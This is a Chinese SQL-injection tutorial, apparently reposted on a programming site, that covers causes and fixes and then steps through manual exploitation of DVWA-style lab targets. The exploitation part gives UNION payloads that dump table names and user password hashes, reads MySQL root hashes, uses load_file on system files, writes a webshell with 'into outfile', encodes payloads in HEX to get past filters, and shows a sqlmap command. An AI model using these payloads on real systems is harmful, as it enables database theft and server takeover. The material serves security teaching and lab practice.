Web安全——Web安全漏洞与利用上篇(仅供学习)

SQL注入

  • 一、SQL 注入漏洞
    • 1、与 mysql 注入的相关知识
    • 2、SQL 注入原理
    • 3、判断是否存在注入回显是指页面有数据信息返回id =1 and 1=1
    • 4、三种 sql 注释符
    • 5、注入流程
    • 6、SQL 注入分类
    • 7、接受请求类型区分
    • 8、注入数据类型的区分
    • 9、SQL 注入常规利用思路:
    • 10、手工注入常规思路:
    • 11、SQL 详细注入过程
    • 12、union 联合注入原理

一、SQL 注入漏洞

  • 漏洞描述
      Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以及绕过登录限制等。

  • 测试方法
       在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and
    1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检测了!

  • 修复建议
       代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御
    sql 注入的最佳方法。

    • ( 1 )所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。当前几乎所有的数据库系统都提供了参数化 SQL 语句执行接口,使用此接口可以非常有效的防止 SQL 注入攻击。
    • ( 2 )对进入数据库的特殊字符( ’ <>&*; 等)进行转义处理,或编码转换。
    • ( 3 )确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为 int 型。
    • ( 4 )数据长度应该严格规定,能在一定程度上防止比较长的 SQL 注入语句无法正确执行。
    • ( 5 )网站每个数据层的编码统一,建议全部使用 UTF-8 编码,上下层编码不一致有可能导致一些过滤模型被绕过。
    • ( 6 )严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击
      对数据库的危害。
    • ( 7 )避免网站显示 SQL 错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

在这里插入图片描述
在这里插入图片描述
这里可进行查看到。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
sqlmap包下载地址:https://sqlmap.org/
在这里插入图片描述
在这里插入图片描述
这里即可检测到并附带几种注入方式。

1、与 mysql 注入的相关知识

在这里插入图片描述

在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema 里面 这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 记录着库的信息。

  • tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分别记录着库名和表名
  • columns 存储该用户创建的所有数据库的库名、标名和字段名。

在这里插入图片描述

通过 infomation_schema 查询 www_dvwa_com 库里所有的表和字段

select * from information_schema.`COLUMNS` where TABLE_SCHEMA='www_dvwa_com'

在这里插入图片描述

数据库.表名 这种查询方法是指定某个数据库某个表 ``这个符号可以忽略不用

查询某个库某个表的字段可以这样查询

select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com' and TABLE_NAME='users'

在这里插入图片描述

2、SQL 注入原理

SQL 注入漏洞的产生需要满足以下两个条件

  • 参数用户可控:从前端传给后端的参数内容是用户可以控制的
  • 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。当用户传入参数为 1’的时候,在数据库执行如下所示。
select * from users where id=1'

此 SQL 语句不符合语法规则就会报错。
在这里插入图片描述
在这里插入图片描述
这里我们查询一是可以进行搜索到的;
在这里插入图片描述
加个单引号则报错:
在这里插入图片描述

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

当用户传入参数为 1 and 1=1 时

select * from users where id=1 and 1=1

在这里插入图片描述

因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。如果用户传入参数为 1 and 1=2 时,等同于SELECT * FROM users WHERE id=1 AND 1=2
因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的
在这里插入图片描述
结果。
由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句, 进行攻击,致使信息泄露,甚至获取服务器权限。

3、判断是否存在注入回显是指页面有数据信息返回id =1 and 1=1

id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"

无回显是指 根据输入的语句 页面没有任何变化,或者没有数据库中的内容显示到网页中.

4、三种 sql 注释符

# 单行注释 注意与 url 中的#区分,常编码为%23
--空格 单行注释 注意为短线短线空格
/*()*/ 多行注释 至少存在俩处的注入 /**/常用来作为空格

5、注入流程

是否存在注入并且判断注入类型判断字段数 order by
确定回显点 union select 1,2
查询数据库信息 @@version @@datadir
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\wondows\\win.ini')#
写入 webshell select..into outfile...
补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编码绕过

6、SQL 注入分类

SQL 注入分类:按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种: UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

sqlmap -u "http://192.168.13.143/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --dbms mysql -v 1

在这里插入图片描述

7、接受请求类型区分

GET 注入
GET 请求的参数是放在 URL 里的,GET 请求的 URL 传参有长度限制 中文需要
URL 编码
POST 注入
POST 请求参数是放在请求 body 里的,长度没有限制
COOKIE 注入
cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

8、注入数据类型的区分

int 整型

select	* from users where id=1

sting 字符型

select * from users where username='admin'

在这里插入图片描述

like 搜索型

select * from news where title like '%标题%'

在这里插入图片描述

9、SQL 注入常规利用思路:

  • 1、寻找注入点,可以通过 web 扫描工具实现
  • 2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
  • 3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
    • 3.1 还可以获取数据库的 root 账号 密码—思路
  • 4、可以通过获得的用户信息,寻找后台登录。
  • 5、利用后台或了解的进一步信息。

10、手工注入常规思路:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数 order by N
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 查询到账户的数据

11、SQL 详细注入过程

猜数据库:

1' union select 1,database()

payload 利用另一种方式:

1' union select user(),database() version()

得到数据库名:dvwa
PS:union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构造的另外一个 select.注意在使用 union 查询的时候需要和主查询的列数相同。猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()

得到表名:guestbook,users
group_concat 分组猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)
得到列 : user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam e,password

猜用户数据:
列举出几种 payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用户:

1' union select 1,group_concat(user,password) from mysql.user

得到root用户信息: root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

12、union 联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段要数要相同,不然会出现报错。

  • guestbook 表有三个字段
  • users 有八个字段

如果直接联合两个表 因为列数跟第一个表不一样 会导致出错
整合的联合查询方法

SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users

guestbook 有个三个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数。替换成函数

SELECT * FROM guestbook WHERE comment_id=1 union select database(),user(),version() from users

字段替换成字段

SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users

如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1

但是只会显示第一条,因为 SELECT * FROM guestbook WHERE comment_id=1 这个语句是存在记录的 如果想要admin 的内容可以把1 换成其他不存在的记录, 因为默认负数就表示不存在的,所以可以在数字前加上-1 即可显示第二个表的内容。

SELECT * FROM guestbook WHERE comment_id=-1 union select user_id,user,password from users limit 1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/124075.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

通过Docker Compose安装MQTT

一、文件和目录说明 1、MQTT安装时的文件和目录 EMQX 安装完成后会创建一些目录用来存放运行文件和配置文件&#xff0c;存储数据以及记录日志。 不同安装方式得到的文件和目录位置有所不同&#xff0c;具体如下&#xff1a; 注意&#xff1a; 压缩包解压安装时&#xff0c;目…

大模型扫盲之小白入门手记

本篇内容来自小米集团数据科学部负责人刘汉武老师的数据特训营笔记。不涉及深入的知识&#xff0c;仅在扫盲。 首先一个问题&#xff1a;大模型和大语言模型的区别是什么&#xff1f; 有人说大模型像是连接数据的星辰&#xff0c;能给我们提供前所未有的见解和洞察。现有的大模…

扩散模型 DDPM 核心代码梳理

参考内容&#xff1a; 大白话AI | 图像生成模型DDPM | 扩散模型 | 生成模型 | 概率扩散去噪生成模型 AIGC 基础&#xff0c;从VAE到DDPM 原理、代码详解 全网最简单的扩散模型DDPM教程 The Annotated Diffusion Model LaTeX公式编辑器 备注&#xff1a; 具体公式的推导请查看…

【聚类】K-Means聚类

cluster&#xff1a;簇 原理&#xff1a; 这边暂时没有时间具体介绍kmeans聚类的原理。简单来说&#xff0c;就是首先初始化k个簇心&#xff1b;然后计算所有点到簇心的欧式距离&#xff0c;对一个点来说&#xff0c;距离最短就属于那个簇&#xff1b;然后更新不同簇的簇心&a…

OpenCV(二十八):连通域分割

目录 1.介绍连通域分割 2.像素领域介绍 3.两遍法分割连通域 4.连通域分割函数 1.介绍连通域分割 连通域分割是一种图像处理技术&#xff0c;用于将图像中的相邻像素组成的区域划分为不同的连通域。这些像素具有相似的特性&#xff0c;如相近的灰度值或颜色。连通域分割可以…

C高级第2天

写一个1.sh脚本&#xff0c;将以下内容放到脚本中&#xff1a; 在家目录下创建目录文件&#xff0c;dir 在dir下创建dir1和dir2 把当前目录下的所有文件拷贝到dir1中&#xff0c; 把当前目录下的所有脚本文件拷贝到dir2中 把dir2打包并压缩为dir2.tar.xz 再把dir2.tar.xz…

Android 12 源码分析 —— 应用层 四(SystemUI的基本布局设计及其基本概念)

Android 12 源码分析 —— 应用层 四&#xff08;SystemUI的基本布局设计及其基本概念&#xff09; 在上两篇文章中&#xff0c;我们介绍SystemUI的启动过程&#xff0c;以及基本的组件依赖关系。基本的依赖关系请读者一定要掌握&#xff0c;因为后面的文章&#xff0c;将会时…

2023年9月惠州/深圳CPDA数据分析师认证找弘博创新

CPDA数据分析师认证是大数据方面的认证&#xff0c;助力数据分析人员打下扎实的数据分析基础知识功底&#xff0c;为入门数据分析保驾护航。 帮助数据分析人员掌握系统化的数据分析思维和方法论&#xff0c;提升工作效率和决策能力&#xff0c;遇到问题能够举一反三&#xff0c…

四川玖璨电子商务有限公司:抖店怎么运营爆款

如今&#xff0c;随着网络的普及和电商平台的兴起&#xff0c;越来越多的人开始关注和尝试开设自己的网店。然而&#xff0c;在面对激烈的市场竞争中&#xff0c;如何让自己的抖店脱颖而出&#xff0c;成为爆款产品的运营者&#xff0c;是每个抖店经营者迫切需要解决的问题。 …

elementUi中的el-table表格的内容根据后端返回的数据用不同的颜色展示

效果图如下&#xff1a; 首先 首先&#xff1a;需要在表格行加入 <template slot-scope"{ row }"> </template>标签 <el-table-column prop"usable" align"center" label"状态" width"180" ><templ…

【业务功能篇91】微服务-springcloud-多线程-线程池执行顺序

一、线程的实现方式 1. 线程的实现方式 1.1 继承Thread class ThreadDemo01 extends Thread{Overridepublic void run() {System.out.println("当前线程:" Thread.currentThread().getName());} }1.2 实现Runnable接口 class ThreadDemo02 implements Runnable{…

20个经典巧妙电路合集

1、防反接保护&#xff08;二极管&#xff09; 在实际电子设计中&#xff0c;防反接保护电路非常重要&#xff0c;不要觉得自己肯定不会接错&#xff0c;实际上无论多么小心&#xff0c;还是会犯错误...... 最简单的就是利用二极管了&#xff0c;利用二极管的单向导电性&#…

米贸搜什么是网站排名流量

当谈到数字营销时&#xff0c;你的网站应该作为线上营销的中心枢纽。包括&#xff1a;Ads付费广告、EDM邮件营销、SEO搜索引擎优化等都旨在吸引用户访问你的网站&#xff0c;并在网站上进行深度转化。 被广泛应用且最有效的营销策略之一就是SEO&#xff0c;流量排名是衡量网站受…

管理类联考——数学——汇总篇——知识点突破——数据分析——计数原理——减法原理除法原理

减法原理 正面难则反着做(“ − - −”号) 【思路】当出现“至少、至多”、“否定用语"等正面较难分类的题目&#xff0c;可以采用反面进行求解&#xff0c;注意部分反面的技巧以及“且、或"的反面用法。 除法原理 看到相同&#xff0c;定序用除法消序( “ &quo…

数据结构--5.0.1图的存储结构

目录 一、邻接矩阵&#xff08;无向图&#xff09; 二、邻接矩阵&#xff08;有向图&#xff09; 三、邻接矩阵&#xff08;网&#xff09; 四、邻接表&#xff08;无向图&#xff09; 五、邻接表&#xff08;有向图&#xff09; ——图的存储结构相比较线性表与树来说就复…

ChatGPT 总结数据分析的所有知识点

ChatGPT功能非常多,特别是对某个行业,某个方向,某个技术进行总结那是相当专业的。 如下图。 直接用一个指令便总结出来数据分析当中的所有知识点内容。 AIGC ChatGPT ,BI商业智能, 可视化Tableau, PowerBI, FineReport, 数据库Mysql Oracle, Office, Python ,ETL Ex…

UE4/UE5 动画控制

工程下载​ ​​​​​​​​​​​​​https://mbd.pub/o/bread/ZJ2cm5pu 蓝图控制sequence播放/倒播动画&#xff1a; 设置开启鼠标指针&#xff0c;开启鼠标事件 在场景中进行过场动画制作 设置控制事件

Excel VSTO开发5 -Excel对象结构

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 5 Excel对象结构 Excel提供了几个比较重要的对象&#xff1a; Application、Workbooks、Workbook、Worksheets、Worksheet 为了便…

I.MX RT1176笔记(9)-- 程序异常追踪(CmBacktrace 和 segger rtt)

前言 在使用 ARM Cortex-M 系列 MCU时候&#xff0c;有时候会遇到各种异常&#xff08;Hard Fault, Memory Management Fault, Bus Fault, Usage Fault, Debug Fault&#xff09;&#xff0c;这时候我们根据经验查询PC指针&#xff0c;LR寄存器&#xff0c;堆栈数据定位地址然…

2023 年全国大学生数学建模D题目-圈养湖羊的空间利用率

D题目应该是专科题目&#xff1f;&#xff1f;&#xff1f;不确定了 感觉类似一个细胞分裂问题一样&#xff0c;1&#xff0c;2&#xff0c;4&#xff0c;8&#xff0c; 题目1中规中矩 按照前面说的分配方法&#xff0c;一步一步计算进行 缺口的问题考虑反推回去&#xff0c…